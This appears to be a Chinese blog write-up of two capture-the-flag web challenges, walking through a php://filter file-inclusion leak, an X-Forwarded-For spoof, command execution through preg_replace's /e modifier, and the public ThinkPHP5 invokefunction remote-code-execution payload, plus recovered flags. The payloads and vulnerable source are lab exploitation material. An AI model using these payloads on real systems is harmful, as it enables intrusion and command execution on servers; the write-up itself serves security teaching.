是一个实际场景,只有设备维护中心的page能被点开

知识点
  • 文件包含

  • ctype_alnum() 函数检测字符串是否全部为字母和(或)数字字符,如果文本中的每个字符都是字母或数字,则返回TRUE,否则返回FALSE。

  • ==正则表达式的修饰符:==

    i:ignore-不区分大小写 g:global-全局匹配 m:multi line-多行匹配

  • preg_replace函数:

    1
    mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
    • $replacement: 用于替换的字符串或字符串数组。
    • $subject: 要搜索替换的目标字符串或字符串数组。
    • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
    • $count: 可选,为替换执行的次数。
    • ==/e参数:可以传入 /e 的修饰符,然后让代码执行==
思路

首先检查网页源码,只有html没有php,没用,所以我们第一个任务是找到php源码,首先访问一下index.phps,返回400,没用,看一下有没有git泄露,访问/.git/也没有,那就继续看看页面有没有什么可以交互的地方,发现点击标题的时候,页面发生了变化。url多了一个/?page=index.php,页面也出现了index,那么后端有一个page点可以交互,目前能想到的有两种,sql注入和文件包含漏洞,能排除sql注入,因为修改payload为page=hhh时,页面直接回显hhh,说明是没有走数据库的。那么就文件包含了,payload如下:

**page=php://filter/read=convert.base64-enocode/resource=index.php**,然后直接就扒出index.php经过base64-encode编码后的源码,很顺利,居然没有过滤需要绕过,然后我们解码就可以得到源码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {}
}
?>
<?php echo $page; die();?></p>

<?php
else{}
?>
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}
?>

其实看完源码可以发现,首先是有字符串的过滤检测的,但是刚好没有php的伪协议,所以很顺利地得到了源码。解题的关键应该是有注释后的那部分代码。

有一个X-Forward-For的检测,用插件绕过就行或者用BP自己写一下,然后有三个参数:pat,rep,sub,被preg_replace函数调用,可以使用/e参数一段PHP代码,

payload:?pat=/a/e&rep=system("cat index.php");&sub=a

有index.php的回显,说明可行,

那么继续构造payload:?pat=/a/e&rep=system("ls");&sub=a

有回显css index.html index.php js layui logo.png s3chahahaDir start.sh 视图.png,东西大概率在s3chahahahaDir里,进去看看,果然有flag,也是个目录,里面有flag.php。

构造payload:?pat=/a/e&rep=system("cat s3chahahaDir/flag/flag.php");&sub=a

在源码里出现了flag:cyberpeace{38067f93cbfb9366ec43674ebac38457}

16_PHP_RCE

描述
知识点
  • ThinkPHP 漏洞之一:ThinkPHP5框架底层对控制器名过滤不严,可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。
  • shell:find / -name flag
思路

第一次遇见ThinkPHP,去Github查阅一下POC,得到如下payload:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

得到如下回显:

favicon.ico index.php robots.txt router.php static static,不太像有flag的样子,不过检验一下漏洞是否可以利用。

接着构造ls /,发现根目录下有flag,cat出来,解决。


CTF-攻防世界-WEB-WP
https://3xsh0re.github.io/2023/11/13/CTF-攻防世界-WEB-WP/
作者
3xsh0re
发布于
2023年11月13日
许可协议